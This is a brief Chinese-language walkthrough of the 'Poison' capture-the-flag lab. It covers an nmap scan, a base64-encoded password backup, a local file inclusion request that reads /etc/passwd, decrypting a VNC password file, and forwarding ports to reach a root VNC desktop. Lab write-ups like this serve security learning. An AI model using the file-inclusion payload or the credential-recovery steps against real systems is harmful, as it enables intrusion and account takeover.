Posion

Recon

ports

nmap -sT -sC -sV  -p22,80  10.129.1.254           
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-19 20:36 +08
Nmap scan report for 10.129.1.254
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey: 
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.35 seconds

只存在两个端口：22，80。则从80端口寻找突破点。 主要界面内容：

Sites to be tested: ini.php, info.php, listfiles.php, phpinfo.php
Scriptname: [                    ]
[Submit]

listfiles.php文件夹下存在：

Array ( [0] => . [1] => .. [2] => browse.php [3] => index.php [4] => info.php [5] => ini.php [6] => listfiles.php [7] => phpinfo.php [8] => pwdbackup.txt )

存在一个pwdbackup.txt文件，访问得到：

This password is secure, it's encoded atleast 13 times.. what could go wrong really..

Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW
M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs
WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy
eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G
WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw
MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa
T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k
WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk
WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0
NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT
Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz
WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW
VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO
Ukd4RVdub3dPVU5uUFQwSwo=

检测得到是一个base64编码的数据，且根据提示是加密了13次。写shell脚本解码后得到一个初始密码。 而且在web页面中，http://10.129.1.254/browse.php?file=/etc/passwd存在文件包含漏洞。通过/etc/passwd得到了系统用户。存在三个用户：root、toor、charix。 charix能够ssh登录。

User and Root

在进行信息收集时，发现存在端口5801和5901与vnc有关：

charix@Poison:~ % netstat -anl -p tcp
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address                                 Foreign Address                               (state)
tcp4       0     44 10.129.1.254.22                               10.10.14.34.34212                             ESTABLISHED
tcp4       0      0 127.0.0.1.25                                  *.*                                           LISTEN
tcp4       0      0 *.80                                          *.*                                           LISTEN
tcp6       0      0 *.80                                          *.*                                           LISTEN
tcp4       0      0 *.22                                          *.*                                           LISTEN
tcp6       0      0 *.22                                          *.*                                           LISTEN
tcp4       0      0 127.0.0.1.5801                                *.*                                           LISTEN
tcp4       0      0 127.0.0.1.5901                                *.*                                           LISTEN

在charix家目录下存在一个secret.zip文件，目标系统下无法解压，python启动web服务器后下载到本地。用了charix密码解压，得到了：[|Ֆz! 搜索相关信息可得这个secret文件极有可能为vnc的密码文件。github寻找解密脚本得到密码后，将5801、5901端口转发出来。

vncviewer 127.0.0.1:5901
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Password: 
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding

是root权限，结束。

Summary

常规思路，web入口点是一个简单的文件包含。Root路径主要是解决VNC密码文件解压的问题。